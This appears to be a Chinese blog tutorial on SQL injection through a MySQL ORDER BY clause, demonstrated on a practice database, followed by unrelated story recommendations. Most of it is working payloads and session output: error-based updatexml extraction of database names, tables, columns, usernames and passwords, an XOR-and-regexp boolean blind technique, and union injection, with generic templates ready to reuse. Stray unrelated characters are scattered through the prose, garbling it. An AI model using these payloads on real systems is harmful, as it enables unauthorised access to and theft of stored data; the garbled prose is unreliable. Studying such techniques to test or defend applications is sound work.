Order by排序注入方法小總結(jié)

今天總結(jié)一下注入點(diǎn)在order by排序注入蹬竖，學(xué)習(xí)一下記錄下這個(gè)過程
聲明：此文謹(jǐn)供學(xué)習(xí)記錄研究使用，切勿用于非法用途币厕，否則后果自負(fù)！

注入方法介紹

當(dāng)頁面出現(xiàn)mysql報(bào)錯(cuò)信息時(shí)劈榨，注入點(diǎn)在 order by后面晦嵌，此時(shí)可以利用報(bào)錯(cuò)信息進(jìn)行注入。

正常語句

mysql> select * from users order by id;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users order by id desc;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 14 | admin4   | admin4     |
| 12 | dhakkan  | dumbo      |
| 11 | admin3   | admin3     |
| 10 | admin2   | admin2     |
|  9 | admin1   | admin1     |
|  8 | admin    | admin      |
|  7 | batman   | mob!le     |
|  6 | superman | genious    |
|  5 | stupid   | stupidity  |
|  4 | secure   | crappy     |
|  3 | Dummy    | p@ssword   |
|  2 | Angelina | I-kill-you |
|  1 | Dumb     | Dumb       |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql>

其中select * from users order by id desc;的desc是可控的傳參值惭载。

order by 與報(bào)錯(cuò)注入

下面進(jìn)行報(bào)錯(cuò)注入
- 首先獲取基本一些基本信息總結(jié)

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
ERROR 1105 (HY000): XPATH syntax error: '~security'        //獲取當(dāng)前數(shù)據(jù)庫
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select version())),0));         
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'      //獲取數(shù)據(jù)庫版本
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select user())),0));        
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'     //獲取用戶
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@datadir)),0));
ERROR 1105 (HY000): XPATH syntax error: '~E:\soft\phpmystudy\MySQL\data\'        //獲取數(shù)據(jù)庫路徑
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@version_compile_os)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Win32'      //獲取操作系統(tǒng)
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@basedir)),0));
ERROR 1105 (HY000): XPATH syntax error: '~E:/soft/phpmystudy/MySQL/'       //mysql安裝路徑
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select session_user())),0));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'      //獲取連接數(shù)據(jù)庫的用戶名
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select current_user())),0));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'      //獲取當(dāng)前用戶名
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select system_user())),0));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'        //獲取系統(tǒng)用戶名
mysql>

圖片.png

獲取數(shù)據(jù)信息

獲取數(shù)據(jù)庫個(gè)數(shù)

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
ERROR 1105 (HY000): XPATH syntax error: '~11'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(schema_name) from information_schema.schemata)),0));
ERROR 1105 (HY000): XPATH syntax error: '~11'
mysql>

注：count(*)是對(duì)結(jié)果函數(shù)統(tǒng)計(jì)描滔，而count(schema_name)則是對(duì)不為空的行數(shù)結(jié)果進(jìn)行統(tǒng)計(jì)

獲取數(shù)據(jù)庫列表信息

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~challenges'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~dvwa'
mysql>

注：這里使用limit逐條獲取，為什么這樣呢券腔？因?yàn)槲野l(fā)現(xiàn)使用group_concat()批量查詢輸出結(jié)果長(zhǎng)度有限制，因此需要這樣一條一條獲取了拘泞，當(dāng)然數(shù)據(jù)多的時(shí)候就要簡(jiǎn)單寫個(gè)python腳本跑了

獲取某數(shù)據(jù)庫表信息

獲取表個(gè)數(shù)
payload:

and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "數(shù)據(jù)庫名")),0))

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~4'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~4'
mysql>

獲取表名
payload:

and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "數(shù)據(jù)庫名")),0))

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~emails'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~referers'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 2,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~uagents'
mysql>

獲取某數(shù)據(jù)庫中某個(gè)表字段信息

字段個(gè)數(shù)
payload:

and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "數(shù)據(jù)庫名" and table_name = "表名")),0))

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~3'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~3'
mysql>

獲取字段名纷纫，字段多的需要單條獲取
payload:

and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "數(shù)據(jù)庫名" and table_name = "表名")),0))

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~id,username,password'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security" and table_name = "users" limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~id'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security" and table_name = "users" limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~username'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security" and table_name = "users" limit 2,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~password'
mysql>

最后獲取想要的信息就簡(jiǎn)單了

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username,password from users limit 0,1)),0));
ERROR 1241 (21000): Operand should contain 1 column(s)
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select password from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
mysql>

經(jīng)測(cè)試，貌似只能指定獲取一個(gè)字段信息

order by 與盲注

當(dāng)頁面沒有展示MYSQL的錯(cuò)誤信息時(shí)陪腌，且只能根據(jù)頁面回顯的狀態(tài)進(jìn)行判斷時(shí)辱魁，可以使用布爾盲注

簡(jiǎn)單看兩條語句

mysql> select * from users order by id ^(select(select version()) regexp '^aaaa');
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users order by id ^(select(select version()) regexp '^5');
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  2 | Angelina | I-kill-you |
|  5 | stupid   | stupidity  |
|  4 | secure   | crappy     |
|  7 | batman   | mob!le     |
|  6 | superman | genious    |
|  9 | admin1   | admin1     |
|  8 | admin    | admin      |
| 11 | admin3   | admin3     |
| 10 | admin2   | admin2     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql>

圖片.png

簡(jiǎn)單解釋一下就是在regexp正則匹配的時(shí)候烟瞧，如果匹配到數(shù)據(jù)返回1(00000001)的時(shí)候，此時(shí)的1會(huì)和id中的數(shù)據(jù)的二進(jìn)制進(jìn)行異或染簇，按照異或的結(jié)果進(jìn)行升序排列参滴，所以顯示的排列會(huì)發(fā)生變化；反之當(dāng)進(jìn)行正則匹配的時(shí)候锻弓，未匹配到數(shù)據(jù)返回0(00000000)砾赔，此時(shí)數(shù)字和0異或的結(jié)果還是本身，所以顯示的排列不會(huì)發(fā)生改變青灼。

總結(jié)：當(dāng)頁面排序紊亂時(shí)則說明正則匹配到正確數(shù)據(jù)过蹂，頁面排序未發(fā)生紊亂時(shí)則說明正則沒有匹配到數(shù)據(jù)

通過以上可以判斷數(shù)據(jù)庫版本在5以上，這里的'^5'也可以轉(zhuǎn)換成^5的十六進(jìn)制聚至。

order by 與 union 聯(lián)合查詢

當(dāng) $query = "select * from users order by id $input ";沒有使用括號(hào)包裹的時(shí)候酷勺，是無法直接使用union查詢的。
當(dāng) $query = "(select * from users order by id $input) ";使用括號(hào)進(jìn)行包裹的時(shí)候扳躬，此時(shí)是可以進(jìn)行union查詢的脆诉。
獲取版本號(hào)

mysql> (select * from users order by id ) union(select 1,(version()),3);
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
|  1 | 5.5.53   | 3          |
+----+----------+------------+
14 rows in set (0.00 sec)

mysql>

圖片.png

其他就不一一截圖了,查詢語句格式如下：

(select * from users order by id ) union(select 1,(payload),3);

數(shù)據(jù)庫信息payload:

database()               //獲取當(dāng)前數(shù)據(jù)庫
version()                //獲取數(shù)據(jù)庫版本
user()                   //獲取用戶
@@datadir                //獲取數(shù)據(jù)庫路徑
@@version_compile_os     //獲取操作系統(tǒng)
@@basedir                //mysql安裝路徑
session_user()           //獲取連接數(shù)據(jù)庫的用戶名
current_user()           //獲取當(dāng)前用戶名
system_user()            //獲取系統(tǒng)用戶名

表信息payload: 同上，不再重復(fù)贷币！

參考：
https://www.freebuf.com/column/145988.html

https://www.anquanke.com/post/id/158674

最后編輯于：2019.07.17 16:55:17

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者

人面猴
序言：七十年代末击胜，一起剝皮案震驚了整個(gè)濱河市，隨后出現(xiàn)的幾起案子役纹，更是在濱河造成了極大的恐慌偶摔，老刑警劉巖，帶你破解...
沈念sama閱讀 217,734評(píng)論 6贊 505
死咒
序言：濱河連續(xù)發(fā)生了三起死亡事件促脉，死亡現(xiàn)場(chǎng)離奇詭異辰斋，居然都是意外死亡，警方通過查閱死者的電腦和手機(jī)瘸味，發(fā)現(xiàn)死者居然都...
沈念sama閱讀 92,931評(píng)論 3贊 394
救了他兩次的神仙讓他今天三更去死
文/潘曉璐我一進(jìn)店門宫仗，熙熙樓的掌柜王于貴愁眉苦臉地迎上來藕夫，“玉大人枯冈，你說我怎么就攤上這事√踩欤” “怎么了罪既？”我有些...
開封第一講書人閱讀 164,133評(píng)論 0贊 354
道士緝兇錄：失蹤的賣姜人
文/不壞的土叔我叫張陵，是天一觀的道長(zhǎng)丢间。經(jīng)常有香客問我，道長(zhǎng)诀艰，這世上最難降的妖魔是什么其垄？我笑而不...
開封第一講書人閱讀 58,532評(píng)論 1贊 293
?港島之戀（遺憾婚禮）
正文為了忘掉前任卤橄，我火速辦了婚禮，結(jié)果婚禮上喇颁，老公的妹妹穿的比我還像新娘嚎货。我一直安慰自己，他們只是感情好姐叁，可當(dāng)我...
茶點(diǎn)故事閱讀 67,585評(píng)論 6贊 392
惡毒庶女頂嫁案：這布局不是一般人想出來的
文/花漫我一把揭開白布外潜。她就那樣靜靜地躺著墙懂，像睡著了一般。火紅的嫁衣襯著肌膚如雪。梳的紋絲不亂的頭發(fā)上柜与，一...
開封第一講書人閱讀 51,462評(píng)論 1贊 302
城市分裂傳說
那天弄匕，我揣著相機(jī)與錄音，去河邊找鬼剩瓶。笑死，一個(gè)胖子當(dāng)著我的面吹牛延曙，可吹牛的內(nèi)容都是我干的。我是一名探鬼主播布疙，決...
沈念sama閱讀 40,262評(píng)論 3贊 418
雙鴛鴦連環(huán)套：你想象不到人心有多黑
文/蒼蘭香墨我猛地睜開眼灵临，長(zhǎng)吁一口氣：“原來是場(chǎng)噩夢(mèng)啊……” “哼趴荸！你這毒婦竟也來了？” 一聲冷哼從身側(cè)響起睁搭，我...
開封第一講書人閱讀 39,153評(píng)論 0贊 276
萬榮殺人案實(shí)錄
序言：老撾萬榮一對(duì)情侶失蹤园骆，失蹤者是張志新（化名）和其女友劉穎寓调，沒想到半個(gè)月后，有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體晌涕，經(jīng)...
沈念sama閱讀 45,587評(píng)論 1贊 314
?護(hù)林員之死
正文獨(dú)居荒郊野嶺守林人離奇死亡余黎，尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛以下內(nèi)容為張勛視角年9月15日...
茶點(diǎn)故事閱讀 37,792評(píng)論 3贊 336
?白月光啟示錄
正文我和宋清朗相戀三年惧财，在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了扭仁。大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
茶點(diǎn)故事閱讀 39,919評(píng)論 1贊 348
活死人
序言：一個(gè)原本活蹦亂跳的男人離奇死亡搀突，死狀恐怖仰迁，靈堂內(nèi)的尸體忽然破棺而出，到底是詐尸還是另有隱情徐许，我是刑警寧澤，帶...
沈念sama閱讀 35,635評(píng)論 5贊 345
?日本核電站爆炸內(nèi)幕
正文年R本政府宣布花墩，位于F島的核電站冰蘑，受9級(jí)特大地震影響村缸，放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜仇箱，卻給世界環(huán)境...
茶點(diǎn)故事閱讀 41,237評(píng)論 3贊 329
男人毒藥：我在死后第九天來索命
文/蒙蒙一东羹、第九天我趴在偏房一處隱蔽的房頂上張望。院中可真熱鬧权逗，春花似錦冤议、人聲如沸。這莊子的主人今日做“春日...
開封第一講書人閱讀 31,855評(píng)論 0贊 22
一樁弒父案袱箱，背后竟有這般陰謀
文/蒼蘭香墨我抬頭看了看天上的太陽寿弱。三九已至，卻和暖如春症革，著一層夾襖步出監(jiān)牢的瞬間噪矛，已是汗流浹背。一陣腳步聲響...
開封第一講書人閱讀 32,983評(píng)論 1贊 269
情欲美人皮
我被黑心中介騙來泰國打工残炮，沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留缩滨，地道東北人。一個(gè)月前我還...
沈念sama閱讀 48,048評(píng)論 3贊 370
代替公主和親
正文我出身青樓苞冯，卻偏偏與公主長(zhǎng)得像舅锄，于是被迫代替她去往敵國和親。傳聞我的和親對(duì)象是個(gè)殘疾皇子皇忿，可洞房花燭夜當(dāng)晚...
茶點(diǎn)故事閱讀 44,864評(píng)論 2贊 354

Order by排序注入方法小總結(jié)

注入方法介紹

order by 與報(bào)錯(cuò)注入

order by 與盲注

order by 與 union 聯(lián)合查詢

推薦閱讀更多精彩內(nèi)容